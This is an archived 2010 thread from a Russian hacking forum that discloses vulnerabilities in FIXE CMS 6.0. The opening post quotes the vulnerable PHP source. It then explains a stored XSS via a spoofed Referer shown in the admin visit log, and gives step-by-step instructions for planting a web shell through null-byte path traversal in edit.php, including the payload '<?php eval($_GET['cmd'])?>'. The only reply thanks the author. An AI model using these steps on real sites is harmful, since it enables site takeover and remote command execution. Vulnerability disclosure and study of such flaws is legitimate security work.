Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

FIXE CMS 6.0

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Уязвимости] >> FIXE CMS 6.0
Имя
Сообщение << Старые топики   Новые топики >>
FIXE CMS 6.0 - 2010-01-23 01:15:52.560000   
S00pY

Сообщений: 785
Оценки: 0
Присоединился: 2007-04-14 20:44:05.376666
FIXE CMS
Версия: 6.0
Автор:храмеев Денис Викторович aka Includen
Сайт автора: ruxesoft.net

active xss

ядро cms.php
include($cms_root."/data/modules.dat");
modules.dat

$cms_stat_file=fopen($cms_root."/data/logs/log.log","a"); $tmp_itsbot = itsbot($_SERVER['HTTP_USER_AGENT']); $tmp_itsbot_ = explode("|",$tmp_itsbot); fwrite($cms_stat_file,$_SERVER['PHP_SELF']."::".$_SERVER['HTTP_REFERER']."::".$tmp_itsbot_[0]."::".$_SERVER['REMOTE_ADDR']."\r\n"); fclose($cms_stat_file);

/admin/index.php
else if ($action=="stat") { table_start("Лог посещений"); echo "&lt;tr&gt;&lt;td bgcolor=\"#E1E1E1\" align=\"center\"&gt;&lt;b&gt;Адрес&lt;/b&gt;&lt;/td&gt;&lt;td bgcolor=\"#E1E1E1\" align=\"center\"&gt;&lt;b&gt;Откуда&lt;/b&gt;&lt;/td&gt;&lt;td bgcolor=\"#E1E1E1\" align=\"center\"&gt;&lt;b&gt;Браузер&lt;/b&gt;&lt;/td&gt;&lt;td bgcolor=\"#E1E1E1\" align=\"center\"&gt;&lt;b&gt;IP&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;\n"; $stat=file("../data/logs/log.log"); foreach($stat as $element) { $elemen = trim($element); $pieces = explode("::",$elemen); echo "&lt;tr&gt;&lt;td&gt;".$pieces[0]."&lt;/td&gt;&lt;td&gt;".$pieces[1]."&lt;/td&gt;&lt;td&gt;".$pieces[2]."&lt;/td&gt;&lt;td&gt;".$pieces[3]."&lt;/td&gt;&lt;/tr&gt;\n"; }; echo "&lt;tr&gt;&lt;td align=\"center\" colspan=4&gt;&lt;A href=\"clearstat.php\"&gt;Очистить лог посещений&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;\n"; echo $table_end; } use:Подменяем referer [ HTTP_USER_AGENT - не пригоден ибо фильтруеться спасибо Паша:)] на xss вектор,идём в админку давим "Лог посещений" -> admin/index.php?action=stat лицезреем..

Заливка шелла
Особое спасибо kolpeex за помощь: )
Требования MAGIC_QUOTES_GPC=OFF : ( ибо нужен null байт и Админ права

edit.php
include("inc2.php"); function filtr($stroka) { return htmlspecialchars(stripslashes($stroka)); }; //Категория для новостей if (isset($_POST['category'])){ $category = filtr($_POST['category']); } else { $category = ""; }; //Путь до list.txt $typ = $_POST['typ']; //Файл с полной новостью и комментариями $filie = $_POST['filie']; //Строка в list.txt $line = $_POST['line']; //Дата и время $datetime = $_POST['datetime']; //IP при добавлении новости $ip = $_POST['ip']; //Файл с полной новостью для list.txt $qwerty = $_POST['qwerty']; //Автор новости $name = filtr($_POST['author']); //Заголовок новости $title = filtr($_POST['title']); //Не нужная весчь $smile = filtr($_POST['link']); //Заменять ли перенос строк на &lt;br&gt; $br = $_POST['br']; //Заменять ли перенос строк на &lt;br&gt; в продолжении новости $brplus = $_POST['brplus']; //Собственно сам текст $message = $_POST['text']; //Продолжение новости $messageplus = $_POST['textplus']; include("../cfg.inc.php"); $message = stripslashes($message); $message = str_replace("[1]","&lt;img src=\"".$cms_site."/im/1.gif\" border=0&gt;",$message); $message = str_replace("[2]","&lt;img src=\"".$cms_site."/im/2.gif\" border=0&gt;",$message); $message = str_replace("[3]","&lt;img src=\"".$cms_site."/im/3.gif\" border=0&gt;",$message); $message = str_replace("[4]","&lt;img src=\"".$cms_site."/im/4.gif\" border=0&gt;",$message); $message = str_replace("[5]","&lt;img src=\"".$cms_site."/im/5.gif\" border=0&gt;",$message); $message = str_replace("[6]","&lt;img src=\"".$cms_site."/im/6.gif\" border=0&gt;",$message); $message = str_replace("[7]","&lt;img src=\"".$cms_site."/im/7.gif\" border=0&gt;",$message); $message = str_replace("[8]","&lt;img src=\"".$cms_site."/im/8.gif\" border=0&gt;",$message); $message = str_replace("[9]","&lt;img src=\"".$cms_site."/im/9.gif\" border=0&gt;",$message); $message = str_replace("[10]","&lt;img src=\"".$cms_site."/im/10.gif\" border=0&gt;",$message); $message = str_replace("[11]","&lt;img src=\"".$cms_site."/im/11.gif\" border=0&gt;",$message); $message = str_replace("[12]","&lt;img src=\"".$cms_site."/im/12.gif\" border=0&gt;",$message); $message = str_replace("[13]",'&lt;img src="'.$cms_site.'/im/13.gif" border=0&gt;',$message); $message = str_replace("[14]",'&lt;img src="'.$cms_site.'/im/14.gif" border=0&gt;',$message); $message = str_replace("[15]",'&lt;img src="'.$cms_site.'/im/15.gif" border=0&gt;',$message); $message = str_replace("[16]",'&lt;img src="'.$cms_site.'/im/16.gif" border=0&gt;',$message); $message = str_replace("[17]",'&lt;img src="'.$cms_site.'/im/17.gif" border=0&gt;',$message); $message = str_replace("[18]",'&lt;img src="'.$cms_site.'/im/18.gif" border=0&gt;',$message); $message = str_replace("[19]",'&lt;img src="'.$cms_site.'/im/19.gif" border=0&gt;',$message); $message = str_replace("=)",'&lt;img src="'.$cms_site.'/im/2.gif" border=0&gt;',$message); $message = str_replace(":)",'&lt;img src="'.$cms_site.'/im/2.gif" border=0&gt;',$message); $message = str_replace(":-)",'&lt;img src="'.$cms_site.'/im/2.gif" border=0&gt;',$message); $message = str_replace(":p",'&lt;img src="'.$cms_site.'/im/17.gif" border=0&gt;',$message); $message = str_replace(":D",'&lt;img src="'.$cms_site.'/im/13.gif" border=0&gt;',$message); $message = str_replace(";)",'&lt;img src="'.$cms_site.'/im/14.gif" border=0&gt;',$message); $message = str_replace(";(",'&lt;img src="'.$cms_site.'/im/16.gif" border=0&gt;',$message); $message = str_replace(";-(",'&lt;img src="'.$cms_site.'/im/16.gif" border=0&gt;',$message); $message = str_replace(";-)",'&lt;img src="'.$cms_site.'/im/14.gif" border=0&gt;',$message); $message = str_replace(":(",'&lt;img src="'.$cms_site.'/im/8.gif" border=0&gt;',$message); $message = str_replace("=(",'&lt;img src="'.$cms_site.'/im/8.gif" border=0&gt;',$message); $message = str_replace(":-(",'&lt;img src="'.$cms_site.'/im/8.gif" border=0&gt;',$message); if ($br == "yes") { $message = str_replace("\r\n","&lt;br&gt;",$message); } else { $message = str_replace("\r\n"," ",$message); }; $messageplus = stripslashes($messageplus); $messageplus = str_replace("[1]","&lt;img src=\"".$cms_site."/im/1.gif\" border=0&gt;",$messageplus); $messageplus = str_replace("[2]","&lt;img src=\"".$cms_site."/im/2.gif\" border=0&gt;",$messageplus); $messageplus = str_replace("[3]","&lt;img src=\"".$cms_site."/im/3.gif\" border=0&gt;",$messageplus); $messageplus = str_replace("[4]","&lt;img src=\"".$cms_site."/im/4.gif\" border=0&gt;",$messageplus); $messageplus = str_replace("[5]","&lt;img src=\"".$cms_site."/im/5.gif\" border=0&gt;",$messageplus); $messageplus = str_replace("[6]","&lt;img src=\"".$cms_site."/im/6.gif\" border=0&gt;",$messageplus); $messageplus = str_replace("[7]","&lt;img src=\"".$cms_site."/im/7.gif\" border=0&gt;",$messageplus); $messageplus = str_replace("[8]","&lt;img src=\"".$cms_site."/im/8.gif\" border=0&gt;",$messageplus); $messageplus = str_replace("[9]","&lt;img src=\"".$cms_site."/im/9.gif\" border=0&gt;",$messageplus); $messageplus = str_replace("[10]","&lt;img src=\"".$cms_site."/im/10.gif\" border=0&gt;",$messageplus); $messageplus = str_replace("[11]","&lt;img src=\"".$cms_site."/im/11.gif\" border=0&gt;",$messageplus); $messageplus = str_replace("[12]","&lt;img src=\"".$cms_site."/im/12.gif\" border=0&gt;",$messageplus); $messageplus = str_replace("[13]",'&lt;img src="'.$cms_site.'/im/13.gif" border=0&gt;',$messageplus); $messageplus = str_replace("[14]",'&lt;img src="'.$cms_site.'/im/14.gif" border=0&gt;',$messageplus); $messageplus = str_replace("[15]",'&lt;img src="'.$cms_site.'/im/15.gif" border=0&gt;',$messageplus); $messageplus = str_replace("[16]",'&lt;img src="'.$cms_site.'/im/16.gif" border=0&gt;',$messageplus); $messageplus = str_replace("[17]",'&lt;img src="'.$cms_site.'/im/17.gif" border=0&gt;',$messageplus); $messageplus = str_replace("[18]",'&lt;img src="'.$cms_site.'/im/18.gif" border=0&gt;',$messageplus); $messageplus = str_replace("[19]",'&lt;img src="'.$cms_site.'/im/19.gif" border=0&gt;',$messageplus); $messageplus = str_replace("=)",'&lt;img src="'.$cms_site.'/im/2.gif" border=0&gt;',$messageplus); $messageplus = str_replace(":)",'&lt;img src="'.$cms_site.'/im/2.gif" border=0&gt;',$messageplus); $messageplus = str_replace(":-)",'&lt;img src="'.$cms_site.'/im/2.gif" border=0&gt;',$messageplus); $messageplus = str_replace(":p",'&lt;img src="'.$cms_site.'/im/17.gif" border=0&gt;',$messageplus); $messageplus = str_replace(":D",'&lt;img src="'.$cms_site.'/im/13.gif" border=0&gt;',$messageplus); $messageplus = str_replace(";)",'&lt;img src="'.$cms_site.'/im/14.gif" border=0&gt;',$messageplus); $messageplus = str_replace(";(",'&lt;img src="'.$cms_site.'/im/16.gif" border=0&gt;',$messageplus); $messageplus = str_replace(";-(",'&lt;img src="'.$cms_site.'/im/16.gif" border=0&gt;',$messageplus); $messageplus = str_replace(";-)",'&lt;img src="'.$cms_site.'/im/14.gif" border=0&gt;',$messageplus); $messageplus = str_replace(":(",'&lt;img src="'.$cms_site.'/im/8.gif" border=0&gt;',$messageplus); $messageplus = str_replace("=(",'&lt;img src="'.$cms_site.'/im/8.gif" border=0&gt;',$messageplus); $messageplus = str_replace(":-(",'&lt;img src="'.$cms_site.'/im/8.gif" border=0&gt;',$messageplus); if ($brplus == "yes") { $messageplus = str_replace("\r\n","&lt;br&gt;",$messageplus); } else { $messageplus = str_replace("\r\n"," ",$messageplus); }; //Оригинальный файл $old_file = file("../data/".$filie.".txt"); //Для редактирования $file = fopen("../data/".$filie.".txt","w"); if ($smile == "http://") { $smile = "?comment=".$qwerty; }; $i = 1; fwrite($file,$datetime."|".$name."|".$title."|".$message."|".$smile."|".$ip."|".$messageplus."|\r\n"); for ($i=0; $i&lt;count($old_file); $i++){ if ($i!=0){ fwrite($file, $old_file[$i]); }; }; fclose($file); $i = 0; $old_file = file("../data/".$typ); $file = fopen("../data/".$typ,"w"); //$line for ($i=0; $i&lt;count($old_file); $i++){ if ($i==$line){ fwrite($file,$datetime."|".$name."|".$title."|".$message."|".$smile."|".$ip."|".$qwerty."|".$category."|\r\n"); } else { fwrite($file,$old_file[$i]); }; }; fclose($file); if ($typ == "blog/list.txt"){ header("location: index.php?action=blog#all"); } else { header("location: index.php?action=news"); }; Запись в файл,но сообщение не отфильтровуеться…
Берим ff c плагином Tamper Data идём в панель редактирования новостей и выбираем произвольную новость -&gt; включаем перехват -&gt; жмём "Сохранить" -&gt; В поле "filie" пишем "../shell.php%00",а в поле "textplus" пишем "&lt;?php eval($_GET['cmd'])?&gt;"-&gt; отправляем и получаем промежуточный шелл в корне сайта под названием shell.php
Post #: 1
RE: FIXE CMS 6.0 - 2010-02-16 22:52:56.820000   
NEWS

Сообщений: 224
Оценки: 0
Присоединился: 2009-11-18 10:40:28.283333
БОльшое спасибо * искал долго )
Post #: 2
Страниц:  [1]
Все форумы >> [Уязвимости] >> FIXE CMS 6.0







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.